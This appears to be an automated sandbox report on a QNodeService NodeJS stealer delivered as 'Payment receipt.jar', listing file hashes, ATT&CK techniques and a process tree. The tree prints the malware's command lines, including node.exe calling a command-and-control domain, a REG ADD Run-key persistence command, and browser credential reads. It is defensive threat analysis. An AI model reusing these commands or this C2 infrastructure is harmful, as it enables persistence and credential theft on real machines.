qnodeservice | 7629e88d552ddfd2653a656668b92d492a8a74f571dc4bd1289bb891858b9e88

General

Target

Payment receipt.jar
Size

76KB
MD5

f91e9ef3ee69b04a6c8794d26383df16
SHA1

b23e629c3014a23b80fa0bda883a0c840d10ed8f
SHA256

7629e88d552ddfd2653a656668b92d492a8a74f571dc4bd1289bb891858b9e88
SHA512

4809e2ea5ee5ee53a317e99bee5c77adb0d35c5b21ec30831102cd37de1c5bb3d2e25fc31acd96b79efa4882411162d866b39641b57638579a8ed45675f0f9b8

Score

10^/10

spyware trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3336	node.exe
1624	node.exe
2356	node.exe

Loads dropped DLL 6 IoCs

pid	Process
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\e19f6dc8-d51a-4705-80bf-15a4dbb6a846 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab52-175.dat	js
behavioral2/files/0x000100000001ab52-179.dat	js
behavioral2/files/0x000100000001ab52-183.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3336	node.exe
3336	node.exe
3336	node.exe
3336	node.exe
1624	node.exe
1624	node.exe
1624	node.exe
1624	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe
2356	node.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4004 wrote to memory of 3612	4004	java.exe	75
PID 4004 wrote to memory of 3612	4004	java.exe	75
PID 3612 wrote to memory of 3336	3612	javaw.exe	76
PID 3612 wrote to memory of 3336	3612	javaw.exe	76
PID 3336 wrote to memory of 1624	3336	node.exe	78
PID 3336 wrote to memory of 1624	3336	node.exe	78
PID 1624 wrote to memory of 2356	1624	node.exe	79
PID 1624 wrote to memory of 2356	1624	node.exe	79
PID 2356 wrote to memory of 1652	2356	node.exe	81
PID 2356 wrote to memory of 1652	2356	node.exe	81
PID 1652 wrote to memory of 3900	1652	cmd.exe	82
PID 1652 wrote to memory of 3900	1652	cmd.exe	82
PID 2356 wrote to memory of 2976	2356	node.exe	83
PID 2356 wrote to memory of 2976	2356	node.exe	83
PID 2976 wrote to memory of 2300	2976	cmd.exe	84
PID 2976 wrote to memory of 2300	2976	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Payment receipt.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:4004
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\c7f55890.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3336
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_tSaK9U\boot.js --hub-domain jahbless.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1624
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_tSaK9U\boot.js --hub-domain jahbless.hopto.org
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2356
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e19f6dc8-d51a-4705-80bf-15a4dbb6a846" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1652
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e19f6dc8-d51a-4705-80bf-15a4dbb6a846" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3900
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e19f6dc8-d51a-4705-80bf-15a4dbb6a846" /F"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2976
        
        C:\Windows\system32\reg.exe
        
        REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e19f6dc8-d51a-4705-80bf-15a4dbb6a846" /F
        7⤵
        
        PID:2300

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1624-180-0x000001FD34700000-0x000001FD34701000-memory.dmp

Filesize
4KB

Download
memory/2356-184-0x000002636F240000-0x000002636F241000-memory.dmp

Filesize
4KB

Download
memory/3336-177-0x000000A945C00000-0x000000A945C01000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing